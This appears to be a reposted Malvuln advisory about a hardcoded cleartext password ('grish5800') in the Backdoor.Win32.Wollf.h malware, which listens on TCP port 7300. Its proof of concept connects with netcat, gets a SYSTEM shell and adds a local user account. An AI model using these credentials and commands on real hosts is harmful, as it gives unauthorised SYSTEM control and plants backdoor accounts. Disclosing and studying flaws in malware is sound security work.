Monday, November 22, 2021

Backdoor.Win32.Wollf.h Hardcoded Password

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/5494b78dcfaf16aa43b5dbd563dc5582.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.h
Vulnerability: Hardcoded Cleartext Password
Description: The malware listens on TCP port 7300 and runs with SYSTEM integrity. Authentication is required for remote user access. However, the password "grish5800" is hardcoded within the executable. The malware is packed with UPX and exposes the cleartext credentials when decompressed.
Type: PE32
MD5: 5494b78dcfaf16aa43b5dbd563dc5582
Vuln ID: MVID-2021-0405
Dropped files: asphelp.exe
Disclosure: 11/21/2021

Exploit/PoC:
nc64.exe x.x.x.x 7300

login: grish5800

Login succeed!

"Wollf Remote Manager" v1.6
Code by wollf, http://www.xfocus.org

[[email protected]:\WINDOWS\system32]#DOS

Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

C:\WINDOWS\system32>net user MALVULN 666 /add
net user MALVULN 666 /add
The command completed successfully.


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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore